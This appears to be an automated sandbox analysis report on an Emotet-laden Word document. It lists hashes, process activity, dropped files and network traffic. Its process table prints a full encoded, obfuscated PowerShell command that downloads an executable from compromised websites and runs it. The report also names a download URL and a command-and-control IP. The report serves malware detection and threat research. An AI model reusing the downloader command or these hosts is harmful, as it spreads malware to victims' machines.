| File name: | dat-2020_09_30-72067.doc |
| Full analysis: | https://app.any.run/tasks/ff60281c-3962-4bd4-9b67-ed5bde53dbcc |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | September 30, 2020, 12:08:07 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Title: Eveniet., Author: Nomie Meyer, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Sep 30 07:24:00 2020, Last Saved Time/Date: Wed Sep 30 07:24:00 2020, Number of Pages: 1, Number of Words: 4190, Number of Characters: 23886, Security: 8 |
| MD5: | C5B415E74EEEFEC9A91D291A380468AB |
| SHA1: | 874FC580AC28B73FA86A237E62BCA357057339D0 |
| SHA256: | E91B5C4E6D15B57A479A160E8404A4D84F7E5BAF789540A139C142AB61DFB363 |
| SSDEEP: | 1536:NNpHZTgQSz4w4K0vOYOcc2bqrQF2qzqhAZC:l1gQSU3K0hzqrQF2gqeZC |
MALICIOUS
Application was dropped or rewritten from another process
- asferror.exe (PID: 2224)
- Nyczl3x.exe (PID: 3600)
Downloads executable files from the Internet
- POwersheLL.exe (PID: 2492)
Connects to CnC server
- asferror.exe (PID: 2224)
Changes the autorun value in the registry
- asferror.exe (PID: 2224)
EMOTET was detected
- asferror.exe (PID: 2224)
SUSPICIOUS
PowerShell script executed
- POwersheLL.exe (PID: 2492)
Creates files in the user directory
- POwersheLL.exe (PID: 2492)
Executed via WMI
- POwersheLL.exe (PID: 2492)
Executable content was dropped or overwritten
- POwersheLL.exe (PID: 2492)
- Nyczl3x.exe (PID: 3600)
Starts itself from another location
- Nyczl3x.exe (PID: 3600)
Connects to server without host name
- asferror.exe (PID: 2224)
Reads Internet Cache Settings
- asferror.exe (PID: 2224)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2112)
Creates files in the user directory
- WINWORD.EXE (PID: 2112)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | Eveniet. |
|---|---|
| Subject: | - |
| Author: | Noémie Meyer |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2020:09:30 06:24:00 |
| ModifyDate: | 2020:09:30 06:24:00 |
| Pages: | 1 |
| Words: | 4190 |
| Characters: | 23886 |
| Security: | Locked for annotations |
| Company: | - |
| Lines: | 199 |
| Paragraphs: | 56 |
| CharCountWithSpaces: | 28020 |
| AppVersion: | 15 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
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| CodePage: | Unicode UTF-16, little endian |
| LocaleIndicator: | 1033 |
| CompObjUserTypeLen: | 32 |
| CompObjUserType: | Microsoft Word 97-2003 Document |
Total processes
40
Monitored processes
4
Malicious processes
3
Suspicious processes
0
Behavior graph
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Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2112 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Downloads\dat-2020_09_30-72067.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
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| 2224 | "C:\Users\admin\AppData\Local\cmmon32\asferror.exe" | C:\Users\admin\AppData\Local\cmmon32\asferror.exe | Nyczl3x.exe | ||||||||||||
User: admin Company: Intech Solutions Integrity Level: MEDIUM Description: MS masked edit control at the heart Exit code: 0 Version: 2.27.0.5 Modules
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| 2492 | POwersheLL -ENCOD JABUAHAAbABrAGMAcQA5AD0AKAAnAFQAJwArACgAJwA3AGIAJwArACcAMgBsADQAJwApACsAJwBuACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAdQBTAEUAcgBQAHIATwBmAEkAbABlAFwAdAAzAHQAVwBjADUAOABcAGMANAAxAEoAbQBjAFUAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIARQBDAFQATwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAHUAYABSAGkAYABUAHkAUABgAFIAbwB0AG8AYABjAE8ATAAiACAAPQAgACgAKAAnAHQAbABzADEAMgAnACsAJwAsACcAKQArACgAJwAgAHQAJwArACcAbABzADEAJwApACsAJwAxACcAKwAoACcALAAgAHQAJwArACcAbABzACcAKQApADsAJABHAHcAMgBjAGMAMQBwACAAPQAgACgAJwBOAHkAJwArACgAJwBjAHoAbAAnACsAJwAzACcAKQArACcAeAAnACkAOwAkAFgANQA3AGwAbQBhADkAPQAoACgAJwBCACcAKwAnAGIAbAAnACkAKwAoACcAeQAnACsAJwBwAGYAcwAnACkAKQA7ACQARgA0AHYAOQBlAGMAawA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnADEAJwArACcAdQBwAFQAMwAnACkAKwAoACcAdAB3AGMAJwArACcANQA4ACcAKQArACcAMQAnACsAKAAnAHUAcABDACcAKwAnADQAMQBqAG0AJwApACsAJwBjACcAKwAoACcAdQAnACsAJwAxAHUAJwApACsAJwBwACcAKQAgAC0AYwByAGUAcABMAEEAQwBFACgAWwBjAEgAQQBSAF0ANAA5ACsAWwBjAEgAQQBSAF0AMQAxADcAKwBbAGMASABBAFIAXQAxADEAMgApACwAWwBjAEgAQQBSAF0AOQAyACkAKwAkAEcAdwAyAGMAYwAxAHAAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABWAGEANgBoADMAZgBxAD0AKAAoACcATABsACcAKwAnADEAJwApACsAJwB5ACcAKwAoACcAXwAnACsAJwA3AHAAJwApACkAOwAkAE8AZQBlAHQAZAB4AG8APQAmACgAJwBuACcAKwAnAGUAdwAtACcAKwAnAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAE4AZQB0AC4AVwBlAGIAQwBMAGkAZQBOAFQAOwAkAFAAYQBmAGsAbgBjADcAPQAoACgAJwBoAHQAdABwACcAKwAnADoALwAvACcAKQArACcAYwAnACsAKAAnAGEAYgAtAHcAaQBzAGUAJwArACcALgBjAG8AJwArACcAbQAvAHcAcAAtACcAKwAnAGEAZAAnACsAJwBtAGkAbgAvACcAKQArACgAJwBUAHkALwAnACsAJwAqAGgAdAAnACsAJwB0ACcAKQArACgAJwBwACcAKwAnADoALwAnACkAKwAoACcALwBlACcAKwAnAG0AcABsAG8AJwApACsAKAAnAHkAbQAnACsAJwBlAG4AdABwACcAKQArACgAJwBsAGEAJwArACcAYwBlACcAKQArACcAcwB0ACcAKwAoACcAYQBmAGYAaQAnACsAJwBuAGcALgBjACcAKwAnAG8AbQAnACkAKwAoACcALwAnACsAJwB3AHAAJwApACsAKAAnAC0AaQBtAGEAJwArACcAZwAnACkAKwAoACcAZQAnACsAJwBzAC8AJwApACsAKAAnADYAVgA5ACcAKwAnAC8AKgBoAHQAJwArACcAdAAnACkAKwAnAHAAJwArACgAJwBzADoALwAvAGEAJwArACcAdgAnACkAKwAoACcAaQBkAGEAJwArACcAdgAnACkAKwAoACcAZQByAHIAYQAnACsAJwBzACcAKwAnAGUAJwApACsAJwB0ACcAKwAoACcAdAAnACsAJwBpAG4AJwApACsAKAAnAGcAJwArACcAcwAuAGMAJwApACsAKAAnAG8AbQAvACcAKwAnAHcAJwApACsAKAAnAHAAJwArACcALQBjACcAKQArACgAJwBvACcAKwAnAG4AdAAnACkAKwAoACcAZQAnACsAJwBuAHQAJwArACcALwBqAC8AJwArACcAKgBoAHQAJwApACsAKAAnAHQAcABzACcAKwAnADoAJwApACsAKAAnAC8ALwAnACsAJwBkACcAKQArACgAJwBhACcAKwAnAGcAcgAnACkAKwAoACcAYQBuACcAKwAnAGkAJwApACsAJwB0AGUAJwArACcAZwAnACsAJwBpACcAKwAnAGEAcgAnACsAKAAnAGUAJwArACcALgBjAG8AJwApACsAKAAnAG0ALwB3ACcAKwAnAHAAJwApACsAJwAtACcAKwAoACcAYQAnACsAJwBkAG0AJwApACsAKAAnAGkAJwArACcAbgAvACcAKwAnAEUATAAvACoAaAB0ACcAKwAnAHQAcAAnACkAKwAnAHMAJwArACgAJwA6AC8ALwAnACsAJwBiACcAKQArACgAJwBiAGMAbAB1AGIAJwArACcAZQAnACkAKwAoACcALgAnACsAJwBjAG8AJwApACsAKAAnAG0AJwArACcALwB3AHAALQAnACsAJwBhAGQAbQBpAG4AJwApACsAJwAvACcAKwAoACcARgAnACsAJwBUAC8AJwApACsAJwAqACcAKwAnAGgAJwArACcAdAAnACsAKAAnAHQAcABzADoAJwArACcALwAnACkAKwAoACcALwBoACcAKwAnAGkAYQBuACcAKwAnAGMAbwBmAGYAJwApACsAKAAnAGUAZQBiAGkAawAnACsAJwBlAC4AJwArACcAYwBvACcAKQArACgAJwBtAC8ARgAvACoAJwArACcAaAAnACkAKwAnAHQAJwArACgAJwB0AHAAcwAnACsAJwA6AC8ALwAnACsAJwBrACcAKQArACgAJwBlAG4AaAAnACsAJwBuAG8AaQAnACkAKwAnAHQAaAAnACsAJwBhAHQAJwArACcAZwAnACsAJwBpAGEAJwArACcAcgBlACcAKwAoACcALgBjACcAKwAnAG8AbQAnACkAKwAnAC8AcQAnACsAJwA3ACcAKwAnAC8AJwApAC4AIgBzAFAAYABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFUAOQBvAGkAdgB3AGcAPQAoACcAWQA3ACcAKwAnADEAagAnACsAKAAnAHIAMQAnACsAJwBfACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQARAAwAGkANQBxADUAbgAgAGkAbgAgACQAUABhAGYAawBuAGMANwApAHsAdAByAHkAewAkAE8AZQBlAHQAZAB4AG8ALgAiAGQATwBXAG4AYABMAG8AYQBkAEYAYABpAEwARQAiACgAJABEADAAaQA1AHEANQBuACwAIAAkAEYANAB2ADkAZQBjAGsAKQA7ACQARQA0ADYAawA4AHEAeAA9ACgAKAAnAEsAJwArACcAdgA3ACcAKQArACgAJwBiACcAKwAnAGwAagBnACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEYANAB2ADkAZQBjAGsAKQAuACIAbABFAG4ARwBgAFQAaAAiACAALQBnAGUAIAAyADMAMwAzADcAKQAgAHsALgAoACcASQBuAHYAbwAnACsAJwBrAGUALQBJACcAKwAnAHQAZQBtACcAKQAoACQARgA0AHYAOQBlAGMAawApADsAJABJADcAcgAzAGoAMQBoAD0AKAAnAEQAagAnACsAKAAnADcAcQBnADUAJwArACcAMQAnACkAKQA7AGIAcgBlAGEAawA7ACQASQBzAGgAYQBlAGQAbQA9ACgAJwBRACcAKwAoACcANQBhADEAZgBvACcAKwAnAHoAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE8AeABmADUAcwB4ADgAPQAoACgAJwBRAHIAJwArACcAMwAnACkAKwAnAGcAMgAnACsAJwBsAGkAJwApAA== | C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe | wmiprvse.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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| 3600 | "C:\Users\admin\T3twc58\C41jmcu\Nyczl3x.exe" | C:\Users\admin\T3twc58\C41jmcu\Nyczl3x.exe | POwersheLL.exe | ||||||||||||
User: admin Company: Intech Solutions Integrity Level: MEDIUM Description: MS masked edit control at the heart Exit code: 0 Version: 2.27.0.5 Modules
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Total events
2 461
Read events
1 540
Write events
721
Delete events
200
Modification events
| (PID) Process: | (2112) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | 77k |
Value: 37376B0040080000010000000000000000000000 | |||
| (PID) Process: | (2112) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2112) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1041 |
Value: Off | |||
| (PID) Process: | (2112) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1046 |
Value: Off | |||
| (PID) Process: | (2112) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1036 |
Value: Off | |||
| (PID) Process: | (2112) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1031 |
Value: Off | |||
| (PID) Process: | (2112) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1040 |
Value: Off | |||
| (PID) Process: | (2112) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1049 |
Value: Off | |||
| (PID) Process: | (2112) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 3082 |
Value: Off | |||
| (PID) Process: | (2112) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1042 |
Value: Off | |||
Executable files
2
Suspicious files
1
Text files
2
Unknown types
4
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2112 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRBF97.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2492 | POwersheLL.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\EOOKQ93AXQ2UAJLQ2DWY.temp | — | |
MD5:— | SHA256:— | |||
| 2492 | POwersheLL.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF3bcbad.TMP | — | |
MD5:— | SHA256:— | |||
| 3600 | Nyczl3x.exe | C:\Users\admin\AppData\Local\Temp\~DFB53CD998D00E8B7C.TMP | — | |
MD5:— | SHA256:— | |||
| 2112 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 2492 | POwersheLL.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 2492 | POwersheLL.exe | C:\Users\admin\T3twc58\C41jmcu\Nyczl3x.exe | executable | |
MD5:— | SHA256:— | |||
| 2112 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:— | SHA256:— | |||
| 2112 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dat | text | |
MD5:— | SHA256:— | |||
| 2112 | WINWORD.EXE | C:\Users\admin\Downloads\~$t-2020_09_30-72067.doc | pgc | |
MD5:— | SHA256:— | |||
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HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
8
Threats
1
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2492 | POwersheLL.exe | GET | 200 | 74.208.87.98:80 | http://employmentplacestaffing.com/wp-images/6V9/ | US | executable | 332 Kb | suspicious |
2224 | asferror.exe | POST | 200 | 202.22.141.45:80 | http://202.22.141.45/7iKuZkDWlaLlH6b/YtJxlMhZE4/fyBIuq0aacnUlI3/LFDr7vP2Vz06jb/ | NC | binary | 132 b | malicious |
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Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2224 | asferror.exe | 202.22.141.45:80 | — | OFFRATEL | NC | malicious |
2492 | POwersheLL.exe | 74.208.87.98:80 | employmentplacestaffing.com | 1&1 Internet SE | US | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
cab-wise.com |
| suspicious |
dns.msftncsi.com |
| shared |
employmentplacestaffing.com |
| suspicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2224 | asferror.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M10 |